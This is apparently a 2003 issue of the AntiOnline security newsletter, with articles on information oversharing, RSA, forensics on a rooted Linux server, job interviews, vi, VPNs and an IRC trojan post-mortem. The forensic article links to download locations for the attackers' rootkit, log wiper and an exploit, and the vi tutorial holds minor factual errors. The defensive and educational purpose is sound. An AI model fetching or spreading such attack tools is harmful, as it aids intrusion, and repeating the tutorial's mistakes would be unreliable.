

EnterpriseITplanet.com's

AntiOnlinez

Maximum Security for a Connected World

Newsletter #10

INSIGHT

Table of Contents

Editorial
by MsMittensp. 3

The Perils of Too Much Information
by Syini666p. 4

A Look at RSA
by PM8228p. 6

The Joys of Being Rewted
by HTRegzp. 7

Jobs and How to Get Them
by PM8228p. 10

Vi Tutorial
by Landsing_Bandap. 12

VPN-IPSec vs. SSL
by Tony Bradleyp. 17

Trojan Analysis
by Hogflyp. 20

MsMittens' Editorial

Ah.. another year ending issue. And this one is filled to the brim with all sorts of goodies, just in time for the holidays. Make sure your printer has plenty of paper, since this issue is one of our longer issues.

We didn't get much feedback on what the new year would bring but we certainly had some excitement. In this issue we have two articles on compromised machines, how to detect the compromises and what to do with them. We also look at VPN (IPSec) vs. SSL, helping some to make decisions for work as to what is the best choice in certain situations. And take a historical quick peek at RSA. We also have a look at some more helpful articles on finding jobs (something needed at this time of low employment) and sometimes the issues with giving out too much information. All good stuff.

It has struck me that in recent weeks AntiOnline has seen more posts about sites/servers getting compromised or seeing unusual activity. Certainly there has been an increase in DoS attacks. The question remains why that is. I have some theories about this:

- 1). Operating systems are becoming more and more by default secure as are the applications that run on them. No longer do we have OSes that the kiddies could own within seconds. The challenges are greater and require more finesse. But because of the "Microsoft Society" attitude held by many users and "kiddies" alike, where it's not important to understand the why something does what it does. What's critical to these users is how long it takes to connect and why isn't email/instant messeging working.
- 2). There is a decline in the curiosity of how computers work. The interest is in getting games going and/or trading warez. Few, if any (outside of the many great members of AO), want to learn why a RST packet is coming from 127.0.0.1:80 from an external source. They couldn't care. Unless it gives them "leet" access to a CS server or allows them to "leech", they aren't interested.

Cont'd on Last Page (page 36)

The Perils of Too Much Information

By Syini666

More and more technology finds ways to connect various parts of our online lives in an effort to make things easier for us. While its good for us that things are simpler to update and maintain to keep our friends and family informed its not so good when someone uses this information against us.

One of the first things that come to mind is personal websites, such as the simple free services provided by tripod and others. Most people think nothing of posting hordes of pictures from their home, from work, or anywhere else they happen to be with a camera. While it might seem benign to do this, it provides an idea of how you live, things and people that are important to you, and can give a decent idea of who you are. On this home page we tend to link to other things we are involved in such as forums, gaming communities and of course blogs.

On blogs we all too often treat them as we would a private journal, because either we don't think anyone reads them, or because we've tried to hide them from friends and family. Letting your guard down is a progressive thing for those new to blogs, but over time people become so comfortable with them that they divulge juicy details from who they are dating to the pile of work they haven't done for one reason or another but haven't gotten around to it.

Online communities and forums are another way to pick up useful information. With games that support chat we find ourselves conversing with others between rounds, or complaining about what a crappy day it's been because Joe in human resources complained again that permissions to the employee database were screwed up. Forums also create a platform to establish dialog with people, and even make some online friends. All the while communicating, opening up and letting people in on your life.

To the home users this isn't might not seem very threatening, but to someone in the corporate world, especially IT, it's not so benign. Every bit of info we give out could potentially used against us or our employer. Unfortunately it's a fact that not everyone adheres to a strict password policy and will sometimes pick a password based on something from their everyday life that's easier to remember than some insanely complex string of characters and numbers that have no logical pattern. Building a profile on someone from their website, blog, posts and chats can create a bank of words for an attack on passwords.

Another way information can be used is through social engineering.

Armed with a profile and list of characteristics someone with ample social skills could convince an unknowing help desk person that they are a company employee they have seen in the halls that needs help connecting to the VPN to access some files. Sadly this is another area where people aren't always trained properly, and even when they are, sometimes it's hard to pick up a phony when they have all the right info.

While this isn't something that can be mandated by employers, it would definitely be wise on the part of both parties to be guarded with what information is released onto the web, as it can come back later in unexpected and unforeseen ways.

Make AO Insight #11 part of your New Year Resolutions.

We want articles on security tools, "hacking" tools, ideas, rants, raves, reviews, etc. Specific for the new issue is demand for tcpdump understanding (reading packets) and packet mangaling techniques.

Send a note to msmittens@msmittens.com with AONewsletter in the subject line or send a private message to my AO account, MsMittens.

Next deadline: January 9th, 2004

A Look at RSA

by PM8228

I am here today, in spirit, to discuss RSA encryption and possibly a little extra knowledge. If you are a crypto-analyst please do not bash this due to you know everything and me not. Anyway here it is.

RSA was originally invented in 1978 by Ron Rivest, Adi Shamir, and Leonard Adleman; hence RSA (their last names if you did not get it). They created a neat little process to make 'stuff' unreadable, and basically unbreakable when done properly.

First Step: Find P and Q so that they are two large, 1024-bit, prime numbers

Second Step: Find E so that $1 < E < PQ$ and $(P-1)(Q-1)$ are relatively prime. This means that they [E and $(P-1)(Q-1)$] have no prime factors in common. As an after thought, $(P-1)(Q-1)$ is even and therefore not prime.

Third Step: Find D so that $(DE-1)$ is evenly divisible by $(P-1)(Q-1)$; $DE = 1 \pmod{(P-1)(Q-1)}$. D is the multiplicative inverse of E . All that must be done is to find an integer X which makes $D = (X(P-1)(Q-1) + 1)/E$ true.

Fourth Step: Encrypt by doing the following. $C = (T^E) \pmod{PQ}$. C is the ciphertext (a positive integer), T is plaintext (again a positive integer).

Fifth Step: Decryption. $T = (C^D) \pmod{PQ}$. Same key as before.

So now that you know how it is done, why use it? Well besides that fact that "If P and Q are each 1024 bits long, the sun will burn out before the most powerful computers presently in existence can factor your modulus into P and Q ." It is a way of letting people encrypt things in a way so that only the holder of the modulus can read it. Also, I am trying, in all my hard headed-ness to figure out how to crack it [RSA]. If you would like to help, please email me at wix_555_the_lesser_evil@hotmail.com

The Joys of Being Rewted

By HTRegz

A little bit of an introduction to this article. It happens to everyone at some point or another; you install a system, leave for school/work and come home to find some nasty error messages on your screen. I ignored the error messages, in the fashion of a lazy student, and come back to it a few days later. Boy, what a mistake. I had been hacked and left my system compromised for a few days. Anyways, let's get into the forensics involved and how I discovered exactly how I'd be compromised and what had been done.

The Background

The system installed was Mandrake 9.1 (first 2 CDs, full install, default settings). The system it was installed on is a P3 840Mhz w/ 512mb of RAM and a 40GB HDD. The systems primary function is a server on, at the time, a 1.5Mbps DSL Line serving my website (<http://tyler.reguly.net>). It also dual-booted Windows-XP for movie viewing, so the system was only in MDK about 75-80% of the time.

The Telltale Signs

I came home from school after the install and found a bunch of error messages on my root console. I never wrote these down but they spoke of uid/gid changes to the games account. I should have paid attention but at the time I ignored this sign. **Never do this!** I made a stupid mistake. A few days later I was playing around with a password cracker (John The Ripper) and decided to try it on my own passwd file. I had two password protected accounts, root and my user account. Yet John said found 3 passwords. This peeked my curiosity. I checked my passwd file and sure enough the games account had a password.

The Forensics

I did a little looking around and these guys covered their tracks fairly well. They wiped all my logs and cleaned up rather neatly after themselves. However they made on mistake, which helped me find out a little about what they were doing. They forgot to clean their .bash_profile from /usr/games. I opened the file and found they'd installed a rootkit called vckit (<http://republika.pl/garfix/vckit.tgz>). It also pointed to a file they'd downloaded called wipe (<http://republika.pl/garfix/wipe>). They stored it as dupa on the system. It

is a handy program which wipes all references to a username from the logs. A samba auto rooter and a class b scanner were also installed and they were my system as a launch pad for other attacks. The version of samba which ships with MDK 9.1 is vulnerable so my only assumption as to how they got in (I wiped the system a little to quickly) is that they used samba to root me, although they also had an auto ssh rooter, so it's hard to tell. They also downloaded gespuis.c (a BitchX Exploit - <http://netric.org/exploits/gespuis.c>). A few other things were done. All of the files are available @ <http://tyler.reguly.net/w00t/>.

The Results

Why did I write this you may ask? Well to demonstrate that you are never secure, especially with a default install. To show you that even if you think there is nothing there, you may find something. In this case the crackers hadn't fully covered their tracks and I was able to find something, however I cleaned the system too quickly and could have learned more. During my own forensic investigation I turned to AO and some members provided me with other useful points, which I would like to share. In the future, should this happen to you, this article may help provide a way to you to find the cause and possibly even more.

The AO Contribution

After I had determined all I could from these files, I turned to AO for help. MsMittens provided me with a couple of kernel security patches to try in order to prevent these types of attacks in the future. The links for those patches are <http://www.grsecurity.net/> and <http://people.redhat.com/mingo/exec-shield/>. I have experience with the GR Sec patch, If you install MDK 9.1 with the highest security level (which I did after this attack) it gives you two boot options in lilo, linux and linux-secure. Linux-secure is the default and is the GR Sec patch, the problem is that it is very limiting if you have users on your system. They'll be locked out of doing almost anything. I received a few good points from nebulus200. His suggestions included:

```
cd /
```

```
ls -alR > allfiles
```

If you know roughly when they came in, you can grep for the date...

```
grep 'Oct 19' allfiles
```

```
find / -name .rhosts -print
```

Check any findings and make sure nothing is there (i hope or if god forbid you do use it, that nothing new is there)

```
if [ -f /core ] ; then strings /core
```

(for that matter, check for core files anywhere and check it with strings, usually a good indication of a buffer overflow if you see a core file and in the strings you see a daemon, like ftp or telnet or ssh)

Run strings on common binaries like, ls, du, df, cd, /bin/login, in.telnetd, in.ftpd, strings, etc making sure they aren't altered. I would say there is a decent change you have a trojan version somewhere of one of those files.

Look for a file called 'hosts.equiv'

Run strings on any of the hacker files (you might have to add some flags to see everything), you might get an indication of other things they were up to or other things they may have gone after

Do a search for setuid and guid files:

```
find / -perm +4000 -user root -print
```

```
find / -perm +2000 -user root -print
```

Even more advice came to me from prodikal. He pointed out the samba auto router and the class b scanner mentioned above. He also asked some questions which lead to more thought on the subject. Versions. Versions. Versions. What version of the various daemons are being ran, more specifically samba, sshd, and ProFTPD, all of which have several exploitable versions. He also pointed out www.zone-h.org, as a place to search for defaced websites, because in the case of this attack the website where some software (k – located @ <http://anax.us/~fishboner/k>) seemed to have been defaced. From the names on the defaced website, he tracked down several of the users (I'm assuming with google searches and his magic powers :)) and was able to provide links to the IRC channels they frequented.

Conclusion

This was definitely a learning experience for me. I'm still running MDK 9.1, however this time with shorewall (firewall software) running, and I've got limited services open (ssh, http, ftp are always running, and constantly updated) and then I have certain services (nessusd) that run only when required. My system is running in a higher security level, which more groups and programs assigned by group (net-tools, compile and so on) to limit which programs users have access to. I hope this will provide a somewhat useful checklist for people in the future. Remember in a digital world security is everything and nothing all at the same time. It should exist but not be noticeable to those with the proper permissions and authority.

Jobs and How to Get Them

by PM8228

Most people at Antionline are security experts in the field, or aspiring to be one, and some are just there for the love of learning. This paper is here to help those of us unemployed with tips on how to pass the dreaded (or not so dreaded...) interview. This is not specifically targeted at the security field, but this certainly applies, after all, being a security expert you still need sustenance, and that kind of thing does not just appear out of no where.

When you walk into the room for an interview and meet the person face to face for the first time, impressions have already been made. Both the interviewer and the interviewee have passed judgment based on how the other looks and acts. This leads to the first "tip," looking good. How you look has a large impact on whether you are hired or not. Wearing a nice suit and a tie is expected in most places. This not only makes you look professional, but can also help to boost your confidence.

Confidence is also very important. Project the image of being professional and confident. If you seem withdrawn, or tired, they will think that you are irresponsible by either staying up to late or partying or not interested enough to bother. So give a strong handshake, and try to maintain eye contact. Also look alert and smile, or at least appear happy.

I have compiled a list of things that you should do during an interview.

- 1 Understand that a job is like a glove. In order to enjoy it, it must fit. So when you do not get the job, it may not have been right for you.
- 2 Understand what the employer is looking for. They are running the show and decide what is needed and not. If you do not understand what they are looking for then you will not be able to prepare effectively. This includes things such as, what you can contribute, what job you are trying to get, and why they should hire you over someone else.
- 3 Compile a list of skills and determine which you do best. Employers often ask you what you feel you do best and if you are unprepared it is rather obvious.
- 4 Include examples. If you say that you are good with people, tell a story, or give an example that shows this. For better or worse this is not faith based.
- 5 Appropriate questions. If you start off the bat by asking what the salary and benefits the employer will think you care more about the money than the actual job. This may be true, but try to hide it. Also try to ask intelligent questions about the company. This should be something that shows you have researched the company.
- 6 Confidence. Although it was discussed previously it is a big thing. If you say negative things about yourself, or give unsolicited information it can give the impression that you have little confidence (especially by bashing yourself).
- 7 If need be, ask for clarification. It is better to say that you did not hear, or understand a

question than to give a completely wrong answer that has nothing to do with the question. This makes you look like a fool.

- 8 Let the employer know why you want to be employed by the company. Do not say, "Money." Say something like, "I would like challenging work with a nice office environment. And since you have moved from the 10th largest company to the 3rd, I would like to help move this company to the top." Or something of similar flattery, but it has to show that you know about the company.

Lastly and most obvious, know what position you want. Do not go in and say, "I'll take what you got," like in a restaurant. This is serious to them and should be treated as such in their presence; also you may end up unhappy if you dislike the job.

Make AO Insight #11 part of your New Year Resolutions.

We want articles on security tools, "hacking" tools, ideas, rants, raves, reviews, etc. Specific for the new issue is demand for tcpdump understanding (reading packets) and packet mangaling techniques.

Send a note to msmittens@msmittens.com with AONewsletter in the subject line or send a private message to my AO account, MsMittens.

Next deadline: January 9th, 2004

A Vi Tutorial

by Lansing_Banda

Vi (pronounced "vee eye") is a *nix text editor that was originally developed by Bill Joy in 1976. Bill more or less hacked up two very bad editors of his day called "ed" and "em," put them together, and Vi was born. A more detailed history is located here: <http://www.cs.pdx.edu/~kirkenda/joy84.html>

Over the years there have been many different releases of Vi. These include but are not limited to VIM, Elvis, Vile, Lemmy, NVi, Stevie, WinVi, XVi, Pvic, etc... But the basic concepts of Vi have stayed in tact in all of them.

The difference between Vi and any other text editor is that Vi has two modes. A "command mode", and a "insert mode." The command mode lets you quickly move around the document, delete lines, insert lines, and whatever else you feel like doing. The insert mode is used to insert new text. Now you may be saying to yourself, "Well why don't I just use my mouse and the toolbar commands in my notepad?" Well because in the before time when the terminal was king, mouses were not really used all that often <gasp>! Vi almost simulates free formatting in a terminal (I know that doesn't make much sense; let me explain): instead of having to punch the up arrow 100 times and then go to the end of the line and then press ctrl + H 20 times as you would have to do in pico; in Vi you just type 1G, and dd (see?).

Okay so on to the commands:

When you first enter a terminal, you are going to be presented with your shell prompt:

```
bash$
```

To enter into the Vi text editor, simply type Vi or Vim (depending on what version you have). This will present you with a empty page full of '~'. These represent empty lines. Right now there is little that you can do except start entering text, so lets do that. Right now you are in the "command mode." In the command mode you can enter various commands, which you will learn later. With these commands you can specify also how many times to do that activity by putting a number in front of it.

Example: dd deletes one line, but 4dd deletes four. Get it?

note: From now on, when I type ^ and then a letter (^P) I mean <Ctrl> letter.

to enter the insert mode you must type either

a

or

i

note: `a` = puts you in insert mode after the character your cursor is on
`i` = puts you in insert mode before the character your cursor is on

To exit insert mode simply press:

<Esc>

Now you are back in insert mode. To quit Vi, in command mode type:

:q

More than likely it is going to say "No write since last change" so you either have to save your document with:

:w filename

or use the command:

:q!

which exits regardless of the document state.

note: if you are editing a file that already has a saved filename, you can exit and save at the same time with:

:wq

Now go through your files and find a text full file that we can play around with. To open that file type:

Vi filename

Okay, now lets learn how to move around in Vi. The most basic movements in command mode are the arrow keys:

up, down, left, right or h, j, k, and l (which do the same movement)

If you feel like getting more complicated then use these keys which also do the same thing:

+, -, <backspace>, <space>

To Scroll you can use either:

^D (scroll down)

^U (scroll up)

^F (page down)

^B (page up)

There are many more ways to move around (like next word, next white space, etc...), but I will let you look at those later at the end of the file.

Next we will learn how to search. The two handiest commands are

/

for search and

G

for goto. To use the first one, simply enter command mode by hitting ***<Esc>*** and type

/

then whatever you are trying to find. Say I wanted to find the symbol @ in my file:

/@

would take me right to it. Then you can hit

n

to go to the next occurrence of that string or

?

to go to a previous. Next, the 'G' command lets you go to any line you want to. Simply type the line number and then

G

If I wanted to go to line 128:

128G

would take me there.

note: If you don't specify a number and just hit 'G', you will be taken to the end of the file. To go to the beginning of the file, use

1G

A final note on moving. If you move somewhere you didn't want to go or would just like to move back to your original position, just type

' ' (*that is two apostrophes without spaces*)

Now we are going to learn how to delete text, copy text, and paste text. The easiest way to delete text is with the 'x' command. Just put the cursor over a letter and hit:

x

You can also use a number in front to say how many letters to delete:

4x

deletes four letters. The next delete command is:

dw

which deletes one word forward and:

db

which deletes one word backward. Once again these can both be used with the numbers. Finally, there is the:

dd

command which will delete a single line unless you add a number before it. If you make a mistake and delete something that you really didn't want to delete, then the:

u

command will fix that right up. It will restore the last mistake you made. Try and use it twice; it will restore the mistake you just made.

Next we have the yank command which is achieved with:

y

It will copy text. You can also use the number commands in front of it.
note: yank starts at position 0 so:

3y

will yank 4 lines.

Possibly one of the greatest thing about Vi is its buffers. It has 26 different buffers that you can store text in (a-z). You can call the buffers with the

"n

command where n is the name of the buffer. For example:

"a4y

will store 5 lines of text into the buffer named 'a.' You can then print that buffer back out using:

"aP

The great thing about buffers is that they can be used to store anything in. Say you were writing some code and wanted to delete something for the time being but you might want to use it later:

"q5dd

would delete 5 lines and store it in buffer q so you could use it later.

That is all for now, go to the link below for more information on Vi and for some more commands.

All my information came from prior knowledge and:

<http://docs.freebsd.org/44doc/usd/12.vi/paper.html>

which is a document written by Bill Joy.

VPN-IPSec vs. SSL

by TonyBradley

In years gone by if a remote office needed to connect with a central computer or network at company headquarters it meant installing dedicated leased lines between the locations. These dedicated leased lines provided relatively fast and secure communications between the sites, but they were very costly.

To accommodate mobile users companies would have to set up dedicated dial-in remote access servers (RAS). The RAS would have a modem, or many modems, and the company would have to have a phone line running to each modem. The mobile users could connect to the network this way, but the speed was painstakingly slow and made it difficult to do much productive work.

With the advent of the Internet much of that has changed. If a web of servers and network connections already exists, interconnecting computers around the globe, then why should a company spend money and create administrative headaches by implementing dedicated leased lines and dial-in modem banks. Why not just use the Internet?

Well, the first challenge is that you need to be able to choose who gets to see what information. If you simply open up the whole network to the Internet it would be virtually impossible to implement an effective means of keeping unauthorized users from gaining access to the corporate network. Companies spend tons of money to build firewalls and other network security measures aimed specifically at ensuring that nobody from the public Internet can get into the internal network.

How do you reconcile wanting to block the public Internet from accessing the internal network with wanting your remote users to utilize the public Internet as a means of connecting to the internal network? You implement a Virtual Private Network (VPN). A VPN creates a virtual "tunnel" connecting the two endpoints. The traffic within the VPN tunnel is encrypted so that other users of the public Internet can not readily view intercepted communications.

By implementing a VPN, a company can provide access to the internal private network to clients around the world at any location with access to the public Internet. It erases the administrative and financial headaches associated with a traditional leased line wide-area network (WAN) and allows remote and mobile users to be more productive. Best of all, if properly implemented, it does so without impacting the security and integrity of the computer systems and data on the private company network.

Traditional VPN's rely on IPsec (Internet Protocol Security) to tunnel between the two endpoints. IPsec works on the Network Layer of the OSI Model- securing all data that travels between the two endpoints without an association to any specific application. When connected on an IPsec VPN the client computer is "virtually" a full member of the corporate network- able to see and potentially access the entire network.

The majority of IPsec VPN solutions require third-party hardware and / or software. In order to access an IPsec VPN, the workstation or device in question must have an IPsec client software application installed. This is both a pro and a con.

The pro is that it provides an extra layer of security if the client machine is required not only to be running the right VPN client software to connect to your IPsec VPN, but also must have it properly configured. These are additional hurdles that an unauthorized user would have to get over before gaining access to your network.

The con is that it can be a financial burden to maintain the licenses for the client software and a nightmare for tech support to install and configure the client software on all remote machines- especially if they can't be on site physically to configure the software themselves.

It is this con which is generally touted as one of the largest pros for the rival SSL (Secure Sockets Layer) VPN solutions. SSL is a common protocol and most web browsers have SSL capabilities built in. Therefore almost every computer in the world is already equipped with the necessary "client software" to connect to an SSL VPN.

Another pro of SSL VPN's is that they allow more precise access control. First of all they provide tunnels to specific applications rather than to the entire corporate LAN. So, users on SSL VPN connections can only access the applications that they are configured to access rather than the whole network. Second, it is easier to provide different access rights to different users and have more granular control over user access.

A con of SSL VPN's though is that you are accessing the application(s) through a web browser which means that they really only work for web-based applications. It is possible to web-enable other applications so that they can be accessed through SSL VPN's, however doing so adds to the complexity of the solution and eliminates some of the pros.

Having direct access only to the web-enabled SSL applications also means that users don't have access to network resources such as printers or centralized storage and are unable to use the VPN for file sharing or file backups.

SSL VPN's have been gaining in prevalence and popularity; however they are not the right solution for every instance. Likewise, IPSec VPN's are not suited for every instance either. Vendors are continuing to develop ways to expand the functionality of the SSL VPN and it is a technology that you should watch closely if you are in the market for a secure remote networking solution. For now, it is important to carefully consider the needs of your remote users and weigh the pros and cons of each solution to determine what works best for you.

Post mortem IRC Trojan Analysis:

By Hogfly

ABSTRACT: The Microsoft Windows operating system suffers from many security issues. One that has risen in popularity is the use of IRC(Internet Relay Chat) as a medium for illegal software/music/movie trading. This paper will cover a compromised machine.

DISCLAIMER: This is not intended to be a defacto article. It is written as a helper for systems/network administrators and end users looking to identify IRC Trojan hacks.

- I. What is IRC?
- II. What is a Trojan Horse?
- III. Why would someone do this to me?
- IV. How could this have happened?
- V. A look in to a compromised machine.

I

Background

IRC or Internet Relay Chat is a program used by people across the world to talk in real time, and to share files like AOL instant messenger en masse. Servers exist in just about every country, on any operating system at any given time of day. On each server, there are channels, named as such: #hack, #programming, #security etc...you get the idea. Pretty much anything and everything is on IRC, and the RIAA and MPAA say P2P is a problem. Programs, movies, music and anything else you can think of is available via IRC, which is why it presents such a problem to administrators. Not to mention it is all clear text and has had an extremely large amount of flaws.

II.

A Horse is a horse of course of course

The following is liberally borrowed from irchelp.org:

- a Trojan horse attacks pose one of the most serious threats to computer security. If you were referred here, you may have not only been attacked but may also be attacking others unknowingly. This page will teach you how to avoid falling prey to them, and how to repair the damage if you already did. According to legend, the Greeks won the Trojan war by hiding in a huge, hollow wooden horse to sneak into the fortified city of Troy. In today's computer world, a Trojan horse is defined as a "malicious, security-breaking program that is disguised as something benign". For example, you download what appears to be a movie or music file, but when you click on it, you unleash a dangerous program that erases your disk, sends your credit card numbers and passwords to a stranger, or lets that stranger hijack your computer to commit illegal denial of service attacks like those that have virtually crippled the DALnet IRC network for months on end.
- b Some popular and perhaps outdated trojan horse names: Subseven, Netbus, BackOrifice.

III.

Why me?

People usually get trojaned for non-specific reasons. However, one specific reason is bandwidth. The rise in broadband connections has definitely added to the amount of IRC hacks occurring. You have a fast connection ? Expect to be attacked. People that use IRC for distribution of illegal materials are usually serving up a lot of files and need a fast connection to keep "customers" happy. Universities are prime real estate. The security is, generally speaking lacking and connections are fast, as compared to corporate environments where policies are(or should be) in place and the average connection speed is a T-1. Even with policies, firewalls, antivirus and other precautions, there is one thing that can't always be protected...the mobile user.

IV.

But I am secure!

These things happen in a variety of ways. Websites can contain code to drop trojans as well as viruses with trojan payloads. Windows file sharing is another way of dropping a trojan on to an unsuspecting persons computer. Terminal services is yet another way someone can get in and drop a trojan. Finally email is yet another way to spread trojan horse programs.

V

Sweet Sassy Molassy

Now that you are full of information it's time for a look in to a machine that was compromised with several trojans and programs all acting in concert to provide illegal movies to people across the globe.

Tuesday 9am: I was scheduled to do a routine maintenance on a users Windows XP laptop. I grabbed my untrusty cel phone(it regularly turns itself off) and made my way up to his office.

He kindly explained that his computer was taking a long time to start up, he is getting this odd error, and a little window that says something about a program named "M-IRC". He's not sure what it is, or what it does, but for some reason it is popping up when he logs in for the first time.(Are your spidey-senses going off yet?)

Hoping that certain diagnostic system executables haven't been replaced(I have my incident cd on hand just in case), I go to my trusty DOS prompt and run:

```
C:\>netstat -an | more
```

(IP addresses sanitized)

Active Connections

Proto	Local Address	Foreign Address	State
TCP	0.0.0.0:135	0.0.0.0:0	LISTENING
TCP	0.0.0.0:445	0.0.0.0:0	LISTENING
TCP	0.0.0.0:913	0.0.0.0:0	LISTENING
TCP	0.0.0.0:1027	0.0.0.0:0	LISTENING
TCP	0.0.0.0:1029	0.0.0.0:0	LISTENING
TCP	0.0.0.0:1030	0.0.0.0:0	LISTENING
TCP	0.0.0.0:1375	0.0.0.0:0	LISTENING
TCP	0.0.0.0:1410	0.0.0.0:0	LISTENING
TCP	0.0.0.0:2237	0.0.0.0:0	LISTENING

TCP	0.0.0.0:2752	0.0.0.0:0	LISTENING
TCP	0.0.0.0:2771	0.0.0.0:0	LISTENING
TCP	127.0.0.1:5180	0.0.0.0:0	LISTENING
TCP	1.2.3.4:139	0.0.0.0:0	LISTENING
TCP	1.2.3.4:8001	0.0.0.0:0	LISTENING
TCP	1.2.3.4:1375	5.6.7.8:5190	ESTABLISHED
TCP	1.2.3.4:1410	5.6.7.8:5190	ESTABLISHED
TCP	1.2.3.4:2237	5.6.7.8:5730	ESTABLISHED
TCP	127.0.0.1:22222	0.0.0.0:0	LISTENING
UDP	0.0.0.0:135	*.*	
UDP	0.0.0.0:445	*.*	
UDP	0.0.0.0:1025	*.*	
UDP	0.0.0.0:1028	*.*	
UDP	0.0.0.0:1031	*.*	
UDP	0.0.0.0:38037	*.*	
UDP	127.0.0.1:1263	*.*	
UDP	127.0.0.1:1346	*.*	
UDP	127.0.0.1:4514	*.*	
UDP	1.2.3.4:137	*.*	
UDP	1.2.3.4:138	*.*	
UDP	1.2.3.4:500	*.*	

Do you see anything out of the ordinary? At a glance it appears almost normal but take another look.

TCP	1.2.3.4:8001
TCP	127.0.0.1:22222
UDP	0.0.0.0:38037

Your spidey senses should be hurting your head and almost blinding you by now. These are high numbered ports folks, and they are rarely used by legitimate programs. Let's begin by analyzing what these ports are used for.

To find out I try a google search for each port with a syntax:

```
tcp(or udp) port <enter port here>
```

The first result is from Kurt Seifried's website. So I double check IANA and their port listings. The differences are noticeable.

IANA

vcom-tunnel 8001/tcp VCOM Tunnel
vcom-tunnel 8001/udp VCOM Tunnel
22002-22272 Unassigned

Seifried

vcom-tunnel 8001/tcp VCOM Tunnel
vcom-tunnel 8001/udp VCOM Tunnel
Prosiak Trojan Horse 22222/tcp
Prosiak Trojan Horse 22222/udp

You may be asking "what about port 38037? That's a high numbered port." You are right, it is. It is used by Symantec Antivirus clients, and is not malicious. High numbered ports DO have legitimate uses (sometimes).

Ok, so I am pretty sure 8001 is used by vcom-tunnel at this point. What exactly is vcom-tunnel anyways? It's a freebie port (above 1024) used by any program to listen for connections and data transfers. Now you might be asking yourself, how can I really know what this is being used for? Look at all of those ports that are above 1024 and open. There are several free tools available for windows to see what programs are bound to which port. [Fport](#) and [active ports](#) are two such programs.

In this case I used telnet to discover what was using port 8001. Telnet, while totally insecure, can be a great diagnostic tool. Back at my trusty DOS prompt. I do the following:

```
C:\> telnet localhost 8001
```

=====
THIS IS A PRIVATE FTP SITE - AUTHORIZED ACCESS ONLY
=====

YOUR IP : \$ip Has Been Logged
=====
=====

You are Connecting From %IP

The Local time is %time,

%u24h users have visited in the last 24 hours.

This server has been running since

%ServerDays Days, %ServerHours Hours, %ServerMins Mins, %ServerSecs Secs
=====

Amount of Logins Since Server Started: %loggedInAll total

Logged in Users: %Unow

Total Kb downloaded: %ServerKbDown Kb

Total Kb uploaded: %ServerKbUp Kb

Amount of Files downloaded: %ServerFilesDown

Amount of Files uploaded: %ServerFilesUp

Average Speed: %ServerAvg Kb/sec

Current Speed: %ServerKBps Kb/sec

Free Disk Space: %DFree KB
=====.

In the words of Ray Romano during his Sportscenter skit on SNL: Sweet Sassy Molassy!!
Not to mention that tcp port 22222 is commonly used by a trojan horse. Go figure.

Immediately any second guesses I had were gone. An FTP server on port 8001? Sounds awfully familiar. Having seen these banners before, I knew this was a serv-U ftp server. Combined with a port commonly used by a trojan, I knew this machine was compromised and it was immediately pulled offline for more analysis.

What do we do now ? First things first, make a backup of critical files. After that, the real fun begins. You have a known compromise, and you want to do something about it. Let's take a deeper look shall we?

We begin with some tools that should be included in everyone's windows kit. The Cleaner from [moosoft](#), Tauscan from [Agnitum](#), and Adaware from [Lavasoft](#). Two trojan cleaners and a spyware removal tool. You might be asking yourself, "Why two?". Anti-trojan/virus/spyware/.. programs use different definition files so it's good to compare. (I didn't in this case as time was lacking). The nice thing about these programs is they have a fully functional 30 day trial with no obligatory emails from the vendor soliciting your business.

After an arduous cleaner search I finally get some results.

Filename	Trojan
Action	
_____	_____

C:\winnt\system32\winlog.exe	Aristotles
Cleaned (Backup)	
C:\winnt\system32\vmn32\tar.exe	Aristotles
Cleaned (Backup)	
C:\winnt\system32\vmn32\pulist.exe	Aristotles
Cleaned (Backup)	
C:\winnt\system32\vmn32\lsass.exe	Aristotles
Cleaned (Backup)	
C:\winnt\system32\vmn32\aspd\svhost.exe	Aristotles
Cleaned (Backup)	
C:\winnt\system32\vmn32\aspc\svhost.exe	Aristotles
Cleaned (Backup)	
C:\winnt\system32\vmn32\asp\svhost.exe	Aristotles
Cleaned (Backup)	

C:\winnt\system32\task32.exe	Aristotles
Cleaned (Backup)	
C:\winnt\system32\tar.exe	Aristotles
Cleaned (Backup)	
C:\winnt\system32\PULIST.EXE	Aristotles
Cleaned (Backup)	
C:\winnt\system32\msnmngr.exe	iroffer
Cleaned (Backup)	
C:\WINDOWS\SYSTEM32\DRIVERS\DISDN\ftp\RaidenFTPD\Windrop\hiddenrun.exe	klandoor Cleaned (Backup)
C:\WINDOWS\SYSTEM32\DRIVERS\DISDN\ftp\RaidenFTPD\Windrop\hidden32.exe	HideWindow Cleaned (Backup)
C:\WINDOWS\SYSTEM32\DRIVERS\DISDN\ftp\RaidenFTPD\pulist.exe	Aristotles
Cleaned (Backup)	
C:\WINDOWS\SYSTEM32\DRIVERS\DISDN\ftp\RaidenFTPD\hiddenrun.exe	klandoor Cleaned (Backup)
C:\WINDOWS\SYSTEM32\DRIVERS\DISDN\ftp\RaidenFTPD\hidden32.exe	HideWindow Cleaned (Backup)

SWEET SASSY MOLASSY!! Count em folks (the bold text), that's 4 trojans. Aristotles,iroffer,klandoor, and hidewindow. This machine is in short, Owned. Notice how there is no mention of a Prosiak Trojan as defined on seifried's site. Recall that ports 22002-22272 are unregistered. That means that any program can use any of those ports. They are not reserved by any specific program. In this case the Prosiak definition is not accurate but intuition and anti-trojan programs did not lead us astray.

"Yes, but what does it all mean Basil?"

Aristotles is another name for an IRC trojan. The trojan is used in combination with mIRC to connect to an IRC server/channel for downloads from "customers".

Klandoor is our ftp trojan, used for the transfers to and from the compromised machine, most likely from our warez trader.

Iroffer is a software program that acts as a fileserver for IRC. It is similar to a FTP server or WEB server, but users can download files using the DCC protocol of IRC instead of a web browser. This is our autonomous bot.

Hidewindow is an application that as the name implies hides the windows that these programs normally create.

Now that we know what the machine is infected by and what the purpose of each file is, let's see what is happening. It looks like \winnt was a folder used. This makes sense, since \winnt is a hidden(from normal views), system folder. You can view the system files and folders by going to tools>>options>>view>> and unchecking/checking the following buttons: Hide Protected Operating System Files(Recommended),Do not show hidden files and folders/Show hidden files and folders in explorer(not IE) The system folder is used because it is in the PATH of every user and as you may have noticed, the names of some of the trojan files are system file names. Once we have changed the viewing properties we can go and check out the folders listed by the results of TheCleaner scan.

Looking in to \winnt\system32\vmn32* we find the jackpot, the root of all evil, the end of rainbow... Several files litter the folders contained within:

```
32dllemu.txt dll16.ini
kabomon download
run32dll.exe firedaemon.exe
software.config name.bat
blah1.gif ServUDaemon.ini
kill.exe task32.exe.tc3
secedit.sdb ncp.exe
sys.reg Serv-UID.old
config tftp8675
